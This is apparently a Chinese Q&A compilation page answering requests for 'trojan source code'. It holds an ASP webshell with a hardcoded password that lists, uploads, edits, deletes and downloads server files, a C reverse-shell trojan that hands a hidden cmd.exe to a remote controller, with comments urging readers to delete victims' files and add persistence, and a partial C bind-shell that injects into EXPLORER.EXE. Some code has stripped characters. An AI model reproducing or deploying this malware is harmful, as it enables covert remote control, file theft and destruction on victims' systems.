本文目录一览：

• 1、木马程序源码

• 2、求一个简单木马的源代码。必须注明每个语句的作用。只为交作业。有的百度私信我

• 3、最简单的木马 源代码以及解释

• 4、木马程序源代码，不是蠕虫，特洛伊那类的是最简单的，有哪位高手可提供下，感激

• 5、c语言木马源代码

木马程序源码

一个asp木马：

＜%@ LANGUAGE = VBScript.Encode codepage ="936" %＞

＜%Server.ScriptTimeOut=5000%＞

＜object runat=server id=oScript scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"＞＜/object＞

＜object runat=server id=oScriptNet scope=page classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"＞＜/object＞

＜object runat=server id=oFileSys scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"＞＜/object＞

'on error resume next

dim Data_5xsoft

Class upload_5xsoft

dim objForm,objFile,Version

Public function Form(strForm)

strForm=lcase(strForm)

if not objForm.exists(strForm) then

Form=""

else

Form=objForm(strForm)

end if

end function

Public function File(strFile)

strFile=lcase(strFile)

if not objFile.exists(strFile) then

set File=new FileInfo

else

set File=objFile(strFile)

end if

end function

Private Sub Class_Initialize

dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile

dim iFileSize,sFilePath,sFileType,sFormValue,sFileName

dim iFindStart,iFindEnd

dim iFormStart,iFormEnd,sFormName

Version="HTTP上传程序 Version 2.0"

set objForm=Server.CreateObject("Scripting.Dictionary")

set objFile=Server.CreateObject("Scripting.Dictionary")

if Request.TotalBytes＜1 then Exit Sub

set tStream = Server.CreateObject("adodb.stream")

set Data_5xsoft = Server.CreateObject("adodb.stream")

Data_5xsoft.Type = 1

Data_5xsoft.Mode =3

Data_5xsoft.Open

Data_5xsoft.Write Request.BinaryRead(Request.TotalBytes)

Data_5xsoft.Position=0

RequestData =Data_5xsoft.Read

iFormStart = 1

iFormEnd = LenB(RequestData)

vbCrlf = chrB(13) chrB(10)

sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1)

iStart = LenB (sStart)

iFormStart=iFormStart+iStart+1

while (iFormStart + 10) ＜ iFormEnd

iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf vbCrlf)+3

tStream.Type = 1

tStream.Mode =3

tStream.Open

Data_5xsoft.Position = iFormStart

Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart

tStream.Position = 0

tStream.Type = 2

tStream.Charset ="gb2312"

sInfo = tStream.ReadText

tStream.Close

iFormStart = InStrB(iInfoEnd,RequestData,sStart)

iFindStart = InStr(22,sInfo,"name=""",1)+6

iFindEnd = InStr(iFindStart,sInfo,"""",1)

sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart))

if InStr (45,sInfo,"filename=""",1) ＞ 0 then

set theFile=new FileInfo

iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10

iFindEnd = InStr(iFindStart,sInfo,"""",1)

sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)

theFile.FileName=getFileName(sFileName)

theFile.FilePath=getFilePath(sFileName)

iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14

iFindEnd = InStr(iFindStart,sInfo,vbCr)

theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)

theFile.FileStart =iInfoEnd

theFile.FileSize = iFormStart -iInfoEnd -3

theFile.FormName=sFormName

if not objFile.Exists(sFormName) then

objFile.add sFormName,theFile

end if

else

tStream.Type =1

tStream.Mode =3

tStream.Open

Data_5xsoft.Position = iInfoEnd

Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3

tStream.Position = 0

tStream.Type = 2

tStream.Charset ="gb2312"

sFormValue = tStream.ReadText

tStream.Close

if objForm.Exists(sFormName) then

objForm(sFormName)=objForm(sFormName)", "sFormValue

else

objForm.Add sFormName,sFormValue

end if

end if

iFormStart=iFormStart+iStart+1

wend

RequestData=""

set tStream =nothing

End Sub

Private Sub Class_Terminate

if Request.TotalBytes＞0 then

objForm.RemoveAll

objFile.RemoveAll

set objForm=nothing

set objFile=nothing

Data_5xsoft.Close

set Data_5xsoft =nothing

end if

End Sub

Private function GetFilePath(FullPath)

If FullPath ＜＞ "" Then

GetFilePath = left(FullPath,InStrRev(FullPath, "\"))

Else

GetFilePath = ""

End If

End function

Private function GetFileName(FullPath)

If FullPath ＜＞ "" Then

GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)

Else

GetFileName = ""

End If

End function

End Class

Class FileInfo

dim FormName,FileName,FilePath,FileSize,FileType,FileStart

Private Sub Class_Initialize

FileName = ""

FilePath = ""

FileSize = 0

FileStart= 0

FormName = ""

FileType = ""

End Sub

Public function SaveAs(FullPath)

dim dr,ErrorChar,i

SaveAs=true

if trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" then exit function

set dr=CreateObject("Adodb.Stream")

dr.Mode=3

dr.Type=1

dr.Open

Data_5xsoft.position=FileStart

Data_5xsoft.copyto dr,FileSize

dr.SaveToFile FullPath,2

dr.Close

set dr=nothing

SaveAs=false

end function

End Class

httpt = Request.ServerVariables("server_name")

rseb=Request.ServerVariables("SCRIPT_NAME")

q=request("q")

if q="" then q=rseb

select case q

case rseb

if Epass(trim(request.form("password")))="q_ux888556" then

response.cookies("password")="7758521"

response.redirect rseb "?q=list.asp"

else %＞

＜html＞

＜head＞

＜meta http-equiv="Content-Type" content="text/html; charset=gb2312"＞

＜title＞＜%=httpt%＞＜/title＞

＜meta name="GENERATOR" content="Microsoft FrontPage 3.0"＞

＜/head＞

＜body＞

＜%if request.form("password")＜＞"" then

response.write "Password Error!"

end if

＜table border="1" width="100%" height="89" bgcolor="#DFDFFF" cellpadding="3"

bordercolorlight="#000000" bordercolordark="#F2F2F9" cellspacing="0"＞

＜tr＞

＜td width="100%" height="31" bgcolor="#000080"＞＜p align="center"＞＜font color="#FFFFFF"＞＜%=httpt%＞＜/font＞＜/td＞

＜/tr＞

＜tr＞

＜td width="100%" height="46"＞＜form method="POST" action="＜%=rseb%＞?q=＜%=rseb%＞"＞

＜div align="center"＞＜center＞＜p＞Enter Password：＜input type="password" name="password"

size="20"

style="border-left: thin none; border-right: thin none; border-top: thin outset; border-bottom: thin outset"＞

＜input type="submit" value="OK!LOGIN" name="B1"

style="font-size: 9pt; border: thin outset"＞＜/p＞

＜/center＞＜/div＞

＜/form＞

＜/td＞

＜/tr＞

＜/table＞

＜/body＞

＜/html＞

＜%end if%＞

＜%case "down.asp"

call downloadFile(request("path"))

function downloadFile(strFile)

strFilename = strFile

Response.Buffer = True

Response.Clear

set s = Server.CreateObject("adodb.stream")

s.Open

s.Type = 1

if not oFileSys.FileExists(strFilename) then

Response.Write("＜h1＞Error:＜/h1＞" strFilename " does not exist＜p＞")

Response.End

end if

Set f = oFileSys.GetFile(strFilename)

intFilelength = f.size

s.LoadFromFile(strFilename)

if err then

Response.Write("＜h1＞Error: ＜/h1＞" err.Description "＜p＞")

Response.End

end if

Response.AddHeader "Content-Disposition", "attachment; filename=" f.name

Response.AddHeader "Content-Length", intFilelength

Response.CharSet = "UTF-8"

Response.ContentType = "application/octet-stream"

Response.BinaryWrite s.Read

Response.Flush

s.Close

Set s = Nothing

response.end

End Function

＜%case "list.asp"%＞

urlpath=server.urlencode(path)

if Request.Cookies("password")="7758521" then

dim cpath,lpath

if Request("path")="" then

lpath="/"

else

lpath=Request("path")"/"

end if

if Request("attrib")="true" then

cpath=lpath

attrib="true"

else

cpath=Server.MapPath(lpath)

attrib=""

end if

Sub GetFolder()

dim theFolder,theSubFolders

if oFileSys.FolderExists(cpath)then

Set theFolder=oFileSys.GetFolder(cpath)

Set theSubFolders=theFolder.SubFolders

Response.write"＜a href='" rseb "?q=list.asppath="Request("oldpath")"attrib="attrib"'＞＜font color='#FF8000'＞■＜/font＞↑＜font color='ff2222'＞回上级目录＜/font＞＜/a＞＜br＞＜script language=vbscript＞"

For Each x In theSubFolders

%＞so "＜%=lpath%＞","＜%=x.Name%＞","＜%=request("path")%＞","＜%=attrib%＞"

Next

%＞＜/script＞＜%

end if

End Sub

Sub GetFile()

dim theFiles

if oFileSys.FolderExists(cpath)then

Set theFolder=oFileSys.GetFolder(cpath)

Set theFiles=theFolder.Files

Response.write"＜table border='0' width='100%' cellpadding='0'＞＜script language=vbscript＞"

For Each x In theFiles

if Request("attrib")="true" then

showstring=x.Name

else

showstring=x.Name

end if

%＞sf "＜%=showstring%＞","＜%=x.size%＞","＜%=x.type%＞","＜%=x.Attributes%＞","＜%=x.DateLastModified%＞","＜%=lpath%＞","＜%=x.name%＞","＜%=attrib%＞","＜%=x.name%＞"

Next

end if

Response.write"＜/script＞＜/table＞"

End Sub

＜html＞

＜head＞

＜meta http-equiv="Content-Type" content="text/html; charset=gb2312"＞

＜title＞＜%=httpt%＞＜/title＞

＜style type="text/css"＞

table{ font-family: 宋体; font-size: 9pt }

a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64); text-decoration: none }

a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none }

a:visited{ color: rgb(128,0,0) }

td { font-size: 9pt}

a { color: #000000; text-decoration: none}

a:hover { text-decoration: underline}

.tx { height: 16px; width: 30px; border-color: black black #000000; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 1px; border-left-width: 0px; font-size: 9pt; background-color: #eeeeee; color: #0000FF}

.bt { font-size: 9pt; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; height: 16px; width: 80px; background-color: #eeeeee; cursor: hand}

.tx1 { height: 18px; width: 60px; font-size: 9pt; border: 1px solid; border-color: black black #000000; color: #0000FF}

＜/style＞

＜/head＞

＜script language="JavaScript"＞

function crfile(ls)

{if (ls==""){alert("请输入文件名!");}

else {window.open("＜%=rseb%＞?q=edit.aspattrib=＜%=request("attrib")%＞creat=yespath=＜%=lpath%＞"+ls);}

return false;

function crdir(ls)

{if (ls==""){alert("请输入文件名!");}

else {window.open("＜%=rseb%＞?q=edir.aspattrib=＜%=request("attrib")%＞op=creatpath=＜%=lpath%＞"+ls);}

return false;

＜/script＞

＜script language="vbscript"＞

sub sf(showstring,size,type1,Attributes,DateLastModified,lpath,xname,attrib,name)

document.write "＜tr style=""color: #000000; background-color: #FFefdf; text-decoration: blink; border: 1px solid #000080"" onMouseOver=""this.style.backgroundColor = '#FFCC00'"" onMouseOut=""this.style.backgroundColor = '#FFefdf'""＞＜td width='50%'＞＜font color='#FF8000'＞＜font face=Wingdings＞+＜/font＞＜/font＞＜a href='" urlpath lpath xName "' target='_blank'＞＜strong＞" showstring "＜/strong＞＜/a＞＜/td＞＜td width='20%' align='right'＞" size "字节＜/td＞＜td width='30%'＞＜a href='#' title='类型：" type1 chr(10) "属性：" Attributes chr(10) "时间：" DateLastModified "'＞属性＜/a＞ ＜a href='＜%=rseb%＞?q=edit.asppath=" lpath xName "attrib=" attrib "' target='_blank' ＞＜font color='#FF8000' ＞＜/font＞编辑＜/a＞ ＜a href="chr(34)"javascript: rmdir1('" lpath xName "')"chr(34)"＞＜font color='#FF8000' ＞＜/font＞删除＜/a＞ ＜a href='#' onclick=copyfile('" lpath Name "')＞＜font color='#FF8000' ＞＜/font＞复制＜/a＞ ＜a href='＜%=rseb%＞?q=down.asppath=＜%=cpath%＞\"xName"attrib=" attrib "' target='_blank' ＞＜font color='#FF8000' ＞＜/font＞下载＜/a＞＜/td＞＜/tr＞"

end sub

sub so(lpath,xName,path,attrib)

document.write "＜a href='＜%=rseb%＞?q=list.asppath=" lpath xName "oldpath=" path "attrib=" attrib "'＞└＜font color='#FF8000'＞＜font face=Wingdings＞1＜/font＞＜/font＞ " xName "＜/a＞ ＜a href="chr(34)"javascript: rmdir('" lpath xName "')"chr(34)"＞＜font color='#FF8000' ＞＜/font＞删除＜/a＞＜br＞"

end sub

sub rmdir1(ls)

if confirm("你真的要删除这个文件吗!"Chr(13)Chr(10)"文件为："ls) then

window.open("＜%=rseb%＞?q=edit.asppath=" ls "op=delattrib=＜%=request("attrib")%＞")

end if

end sub

sub rmdir(ls)

if confirm("你真的要删除这个目录吗!"Chr(13)Chr(10)"目录为："ls) then

window.open("＜%=rseb%＞?q=edir.asppath="ls"op=delattrib=＜%=request("attrib")%＞")

end if

end sub

sub copyfile(sfile)

dfile=InputBox("※文件复制※"Chr(13)Chr(10)"源文件：" sfileChr(13)Chr(10)"输入目标文件的文件名:"Chr(13)Chr(10) "[允许带路径,要根据你的当前路径模式]")

dfile=trim(dfile)

attrib="＜%=request("attrib")%＞"

if dfile＜＞"" then

if InStr(dfile,":") or InStr(dfile,"/")=1 then

lp=""

if InStr(dfile,":") and attrib＜＞"true" then

alert "对不起，你在相对路径模式下不能使用绝对路径"Chr(13)Chr(10)"错误路径：["dfile"]"

exit sub

end if

else

lp="＜%=lpath%＞"

end if

window.open("＜%=rseb%＞?q=edit.asppath="+sfile+"op=copyattrib="+attrib+"dpath="+lp+dfile)

else

alert"您没有输入文件名！"

end If

end sub

＜/script＞

＜body＞

＜table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000"

bordercolordark="#FFFFFF" cellspacing="0"＞

＜tr＞

＜td width="755" bgcolor="#000080" colspan="2" height="23"＞＜p align="center"＞＜font size="3"

color="#FFFFFF"＞＜%=httpt%＞＜/font＞＜/td＞

＜/tr＞

＜tr＞

＜td width="751" bgcolor="#C0C0C0" colspan="2"＞※换盘：＜span

style="background-color: rgb(255,255,255);color:rgb(255,0,0)"＞＜%

For Each thing in oFileSys.Drives

Response.write "＜font face=Wingdings＞:＜/font＞＜a href='" rseb "?q=list.asppath="thing.DriveLetter":attrib=true'＞"thing.DriveLetter":＜/a＞"

NEXT

%＞ ＜/span＞ 地址：

＜%= "\\" oScriptNet.ComputerName "\" oScriptNet.UserName %＞＜/td＞

＜/tr＞

＜tr＞

＜td width="751" bgcolor="#C0C0C0" colspan="2"＞※＜%

if Request("attrib")="true" then

response.write "＜a href='" rseb "?q=list.asp'＞切到相对路径＜/a＞"

else

response.write "＜a href='" rseb "?attrib=trueq=list.asp'＞切到绝对路径＜/a＞"

end if

%＞ ※绝对:＜span

style="background-color: rgb(255,255,255)"＞＜%=cpath%＞＜/span＞＜/td＞

＜/tr＞

＜tr＞

＜td width="751" bgcolor="#C0C0C0" colspan="2"＞※当前＜font color="#FF8000"＞＜font face=Wingdings＞1＜/font＞＜/font＞:＜span style="background-color: rgb(255,255,255)"＞＜%=lpath%＞＜/span＞ ＜/td＞

＜/tr＞＜form name="form1" method="post" action="＜%=rseb%＞?q=upfile.asp" target="_blank" enctype="multipart/form-data"＞

＜tr＞＜td bgcolor="#C0C0C0" colspan="2" style="height: 20px"＞

编辑|

＜input class="be58-b14b-4d56-53c4 tx1" type="text" name="filename" size="20"＞

＜input class="b14b-4d56-53c4-5020 tx1" type="button" value="建文" onclick="crfile(form1.filename.value)"＞

＜input class="4d56-53c4-5020-8dae tx1" type="button" value="建目" onclick="crdir(form1.filename.value)"＞

＜input type="file" name="file1" class="53c4-5020-8dae-df3b tx1" style="width:100" value=""＞

＜input type="text" name="filepath" class="5020-8dae-df3b-2f75 tx1" style="width:100" value="＜%=cpath%＞"＞

＜input type="hidden" name="act" value="upload"＞

＜input type="hidden" name="upcount" class="5d16-2643-7dd7-da2d tx" value="1"＞

＜input class="2643-7dd7-da2d-ee9b tx1" type="submit" value="上传"＞

＜input class="7dd7-da2d-ee9b-907d tx1" type="button" onclick="window.open('＜%=rseb%＞?q=cmd.asp','_blank')" value="命令"＞

＜input class="da2d-ee9b-907d-e780 tx1" type="button" onclick="window.open('＜%=rseb%＞?q=test.asp','_blank')" value="配置"＞

＜input class="ee9b-907d-e780-6d8c tx1" type="button" onclick="window.open('＜%=rseb%＞?q=p.asp','_blank')" value="nfso"＞

＜/td＞

＜/td＞

＜/tr＞＜/form＞

＜tr＞

＜td width="169" valign="top" bgcolor="#C8E3FF"＞＜%Call GetFolder()%＞

＜/td＞

＜td width="582" valign="top" bgcolor="#FFefdf"＞＜%Call GetFile()%＞

＜/td＞

＜/tr＞

＜/table＞

＜%else

response.write "Password Error!"

response.write "＜a href='" rseb "?q=" rseb "'＞【返 回】＜/a＞"

end if

＜/body＞

＜/html＞

＜%case "edit.asp"%＞

＜html＞

＜head＞

＜meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80"＞

＜title＞编辑源代码＜/title＞

＜style＞

table{ font-family: 宋体; font-size: 12pt }

a{ font-family: 宋体; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }

a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: underline }

a:visited{ color: rgb(128,0,0) }

＜/style＞

＜/head＞

＜body＞

＜% '读文件

if Request.Cookies("password")="7758521" then

if request("op")="del" then

if Request("attrib")="true" then

whichfile=Request("path")

else

whichfile=server.mappath(Request("path"))

end if

Set thisfile = oFileSys.GetFile(whichfile)

thisfile.Delete True

Response.write "＜script＞alert('删除成功！要刷新才能看到效果');window.close();＜/script＞"

else

if request("op")="copy" then

if Request("attrib")="true" then

whichfile=Request("path")

dsfile=Request("dpath")

else

whichfile=server.mappath(Request("path"))

dsfile=Server.MapPath(Request("dpath"))

end if

Set thisfile = oFileSys.GetFile(whichfile)

thisfile.copy dsfile

＜script language=vbscript＞

msgbox "源文件：＜%=whichfile%＞" vbcrlf "目的文件:＜%=dsfile%＞" vbcrlf "复制成功！要刷新才能看到效果!"

window.close()

＜/script＞

else

if request.form("text")="" then

if Request("creat")＜＞"yes" then

if Request("attrib")="true" then

whichfile=Request("path")

else

whichfile=server.mappath(Request("path"))

end if

Set thisfile = oFileSys.OpenTextFile(whichfile, 1, False)

counter=0

thisline=thisfile.readall

thisfile.Close

set fs=nothing

end if

＜form method="POST" action="＜%=rseb%＞?q=edit.asp"＞

＜input type="hidden" name="attrib" value="＜%=Request("attrib")%＞"＞＜table border="0"

width="700" cellpadding="0"＞

＜tr＞

＜td width="100%" bgcolor="#FFDBCA"＞＜div align="center"＞＜center＞＜p＞＜%=httpt%＞＜/td＞

＜/tr＞

＜tr align="center"＞

＜td width="100%" bgcolor="#FFDBCA"＞文件名：＜input type="text" name="path" size="45"

value="＜%=Request("path")%＞ "＞直接更改文件名，相当于“另存为”＜/td＞

＜/tr＞

＜tr align="center"＞

＜td width="100%" bgcolor="#FFDBCA"＞＜textarea rows="25" name="text" cols="90"＞＜%=thisline%＞＜/textarea＞＜/td＞

＜/tr＞

＜tr align="center"＞

＜td width="100%" bgcolor="#FFDBCA"＞＜div align="center"＞＜center＞＜p＞＜input type="submit"

value="提交" name="B1"＞＜input type="reset" value="复原" name="B2"＞＜/td＞

＜/tr＞

＜/table＞

＜/form＞

＜%else

if Request("attrib")="true" then

whichfile=Request("path")

else

whichfile=server.mappath(Request("path"))

end if

Set outfile=oFileSys.CreateTextFile(whichfile)

outfile.WriteLine Request("text")

outfile.close

set fs=nothing

Response.write "＜script＞alert('修改成功！要刷新才能看到效果');window.close();＜/script＞"

end if

end if

end if

else

response.write "Password Error!"

response.write "＜a href='" rseb "?q=" rseb "'＞【返 回】＜/a＞"

end if

＜/body＞

＜/html＞

＜%case "edir.asp"%＞

＜html＞

＜head＞

＜meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80"＞

＜title＞目录操作＜/title＞

＜style＞

table{ font-family: 宋体; font-size: 12pt }

a{ font-family: 宋体; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }

a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: underline }

a:visited{ color: rgb(128,0,0) }

＜/style＞

＜/head＞

＜body＞

＜% '读文件

if Request.Cookies("password")="7758521" then

if request("op")="del" then

if Request("attrib")="true" then

whichdir=Request("path")

else

whichdir=server.mappath(Request("path"))

end if

oFileSys.DeleteFolder whichdir,True

Response.write "＜script＞alert('删除的目录为:" whichdir "删除成功！要刷新才能看到效果');window.close();＜/script＞"

else

if request("op")="creat" then

if Request("attrib")="true" then

whichdir=Request("path")

else

whichdir=server.mappath(Request("path"))

end if

oFileSys.CreateFolder whichdir

Response.write "＜script＞alert('建立的目录为:" whichdir "建立成功！要刷新才能看到效果');window.close();＜/script＞"

end if

end if

else

response.write "Password Error!"

response.write "＜a href='" rseb "?q=" rseb "'＞【返 回】＜/a＞"

end if

＜/body＞

＜/html＞

case "upfile.asp"

if Request.Cookies("password")="7758521" then

set upload=new upload_5xSoft

if upload.form("filepath")="" then

HtmEnd "请输入要上传至的目录!"

set upload=nothing

response.end

else

formPath=upload.form("filepath")

if right(formPath,1)＜＞"/" then formPath=formPath"/"

end if

iCount=0

for each formName in upload.objForm

set file=upload.file(formName)

if file.FileSize＞

求一个简单木马的源代码。必须注明每个语句的作用。只为交作业。有的百度私信我

//一个简单木马的源代码

#include stdio.h

#include winsock2.h

#pragma comment(lib,"Ws2_32.lib")

void main()

WSADATA wsa;

SOCKET corky;

struct sockaddr_in add;

WSAStartup(MAKEWORD(2,2),wsa);//初始化

corky=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);//创建套接字corky

add.sin_family=AF_INET;//填充sockaddr_in结构

add.sin_port=htons(918); //换成你的端口

add.sin_addr.s_addr=inet_addr("127.0.0.1");//换成你的ip地址

connect(corky,(struct sockaddr *)add,sizeof(add)); //连接控制端

STARTUPINFO si; //创建STARTUPINFO结构

ZeroMemory(si,sizeof(si));//为STARTUPINFO结构分配内存

si.cb=sizeof(si);

si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;//要使用的标志位

si.wShowWindow=SW_HIDE;//隐藏cmd.exe窗口

si.hStdInput=si.hStdOutput=si.hStdError=(void *)corky;//重定向输入输出到套接字corky

PROCESS_INFORMATION pi;

CreateProcess(NULL,"cmd.exe",NULL,NULL,1,0,NULL,NULL,si,pi);//创建cmd.exe进程

ExitProcess(0);

//用nc监听你的918端口（nc -l -p 918）然后耐心等待对方启动木马吧！

//提示：nc在《网友世界》2008 3月光盘中winowsPE系统的外挂程序中可以找到

//如果木马启动你在nc的窗口就会得到一个带微软版权的提示

//输入dir命令看看就会看到对方目录下的所有文件信息（木马所在目录）

//用del命令可以删除他的文件了

//不过还是有缺陷就是对方可以看到有一个cmd窗口笨蛋也知道中招了哈哈..

//到时警察叔叔来找你可别怪我提醒你呦！

//你可以完善它如向系统添加启动项让它随系统启动

//更好是感染文件让它随宿主的打开而启动

//你还要完善窗口的隐藏

//本代码在XP+VC++6.0下调试通过

最简单的木马 源代码以及解释

一个完整的木马系统由硬件部分，软件部分和具体连接部分组成。

(1)硬件部分：建立木马连接所必须的硬件实体。 控制端：对服务端进行远程控制的一方。 服务端：被控制端远程控制的一方。 INTERNET：控制端对服务端进行远程控制，数据传输的 *** 载体。

(2)软件部分：实现远程控制所必须的软件程序。 控制端程序：控制端用以远程控制服务端的程序。 木马程序：潜入服务端内部，获取其操作权限的程序。 木马配置程序：设置木马程序的端口号，触发条件，木马名称等，使其在服务端藏得更隐蔽的程序。

(3)具体连接部分：通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP，服务端IP：即控制端，服务端的 *** 地址，也是木马进行数据传输的目的地。 控制端端口，木马端口：即控制端，服务端的数据入口，通过这个入口，数据可直达控制端程序或木马 程序。

木马程序源代码，不是蠕虫，特洛伊那类的是最简单的，有哪位高手可提供下，感激

制造木马病毒代码大全2008-06-08 19:46制造木马病毒代码大全

一个简单的木马原型基础代码添加上自己的XXX，加上变态的壳，做点小修改，就可以．．．．．

#includewinsock2.h

#pragma comment(lib,"ws2_32.lib")

#includewindows.h

#include Shlwapi.h

#pragma comment(lib,"Shlwapi.lib")

#include tlhelp32.h

#include stdio.h

#include string.h

//参数结构 ;

typedef struct _RemotePara

DWORD dwLoadLibrary;

DWORD dwFreeLibrary;

DWORD dwGetProcAddress;

DWORD dwGetModuleHandle;

DWORD dwWSAStartup;

DWORD dwSocket;

DWORD dwhtons;

DWORD dwbind;

DWORD dwlisten;

DWORD dwaccept;

DWORD dwsend;

DWORD dwrecv;

DWORD dwclosesocket;

DWORD dwCreateProcessA;

DWORD dwPeekNamedPipe;

DWORD dwWriteFile;

DWORD dwReadFile;

DWORD dwCloseHandle;

DWORD dwCreatePipe;

DWORD dwTerminateProcess;

DWORD dwMessageBox;char strMessageBox[12];

char winsockDll[16];

char cmd[10];

char Buff[4096];

char telnetmsg[60];

}RemotePara; // 提升应用级调试权限

BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);

// 根据进程名称得到进程ID

DWORD GetPidByName(char *szName); // 远程线程执行体

DWORD __stdcall ThreadProc(RemotePara *Para)

WSADATA WSAData;

WORD nVersion;

SOCKET listenSocket;

SOCKET clientSocket;struct sockaddr_in server_addr;

struct sockaddr_in client_addr;int iAddrSize = sizeof(client_addr);SECURITY_ATTRIBUTES sa;HANDLE hReadPipe1;

HANDLE hWritePipe1;

HANDLE hReadPipe2;

HANDLE hWritePipe2;STARTUPINFO si;

PROCESS_INFORMATION ProcessInformation;

unsigned long lBytesRead = 0;typedef HINSTANCE (__stdcall *PLoadLibrary)(char*);

typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR);

typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE );

typedef HINSTANCE (__stdcall *PGetModuleHandle)(HMODULE);FARPROC PMessageBoxA;

FARPROC PWSAStartup;

FARPROC PSocket;

FARPROC Phtons;

FARPROC Pbind;

FARPROC Plisten;

FARPROC Paccept;

FARPROC Psend;

FARPROC Precv;

FARPROC Pclosesocket;

FARPROC PCreateProcessA;

FARPROC PPeekNamedPipe;

FARPROC PWriteFile;

FARPROC PReadFile;

FARPROC PCloseHandle;

FARPROC PCreatePipe;

FARPROC PTerminateProcess;PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para-dwLoadLibrary;

PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para-dwGetProcAddress;

PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para-dwFreeLibrary;

PGetModuleHandle GetModuleHandleFunc = (PGetModuleHandle)Para-dwGetModuleHandle;LoadLibraryFunc(Para-winsockDll);PWSAStartup = (FARPROC)Para-dwWSAStartup;

PSocket = (FARPROC)Para-dwSocket;

Phtons = (FARPROC)Para-dwhtons;

Pbind = (FARPROC)Para-dwbind;

Plisten = (FARPROC)Para-dwlisten;

Paccept = (FARPROC)Para-dwaccept;

Psend = (FARPROC)Para-dwsend;

Precv = (FARPROC)Para-dwrecv;

Pclosesocket = (FARPROC)Para-dwclosesocket;

PCreateProcessA = (FARPROC)Para-dwCreateProcessA;

PPeekNamedPipe = (FARPROC)Para-dwPeekNamedPipe;

PWriteFile = (FARPROC)Para-dwWriteFile;

PReadFile = (FARPROC)Para-dwReadFile;

PCloseHandle = (FARPROC)Para-dwCloseHandle;

PCreatePipe = (FARPROC)Para-dwCreatePipe;

PTerminateProcess = (FARPROC)Para-dwTerminateProcess;

PMessageBoxA = (FARPROC)Para-dwMessageBox;nVersion = MAKEWORD(2,1);

PWSAStartup(nVersion, (LPWSADATA)WSAData);

listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);

if(listenSocket == INVALID_SOCKET)return 0;server_addr.sin_family = AF_INET;

server_addr.sin_port = Phtons((unsigned short)(8129));

server_addr.sin_addr.s_addr = INADDR_ANY;if(Pbind(listenSocket, (struct sockaddr *)server_addr, sizeof(SOCKADDR_IN)) != 0)return 0;

if(Plisten(listenSocket, 5))return 0;

clientSocket = Paccept(listenSocket, (struct sockaddr *)client_addr, iAddrSize);

// Psend(clientSocket, Para-telnetmsg, 60, 0);if(!PCreatePipe(hReadPipe1,hWritePipe1,sa,0))return 0;

if(!PCreatePipe(hReadPipe2,hWritePipe2,sa,0))return 0;ZeroMemory(si,sizeof(si)); //ZeroMemory是C运行库函数，可以直接调用

si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;

si.wShowWindow = SW_HIDE;

si.hStdInput = hReadPipe2;

si.hStdOutput = si.hStdError = hWritePipe1;if(!PCreateProcessA(NULL,Para-cmd,NULL,NULL,1,0,NULL,NULL,si,ProcessInformation))return 0;

while(1) {

memset(Para-Buff,0,4096);

PPeekNamedPipe(hReadPipe1,Para-Buff,4096,lBytesRead,0,0);

if(lBytesRead) {

if(!PReadFile(hReadPipe1, Para-Buff, lBytesRead, lBytesRead, 0))break;

if(!Psend(clientSocket, Para-Buff, lBytesRead, 0))break;

}else {

lBytesRead=Precv(clientSocket, Para-Buff, 4096, 0);

if(lBytesRead =0 ) break;

if(!PWriteFile(hWritePipe2, Para-Buff, lBytesRead, lBytesRead, 0))break;

}PCloseHandle(hWritePipe2);

PCloseHandle(hReadPipe1);

PCloseHandle(hReadPipe2);

PCloseHandle(hWritePipe1);

Pclosesocket(listenSocket);

Pclosesocket(clientSocket);// PMessageBoxA(NULL, Para-strMessageBox, Para-strMessageBox, MB_OK);return 0;

} int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int nCmdShow)

const DWORD THREADSIZE=1024*4;

DWORD byte_write;

void *pRemoteThread;

HANDLE hToken,hRemoteProcess,hThread;

HINSTANCE hKernel,hUser32,hSock;

RemotePara myRemotePara,*pRemotePara;

DWORD pID;OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,hToken);

EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);// 获得指定进程句柄，并设其权限为PROCESS_ALL_ACCESS

pID = GetPidByName("EXPLORER.EXE");

if(pID == 0)return 0;

hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);

if(!hRemoteProcess)return 0; // 在远程进程地址空间分配虚拟内存

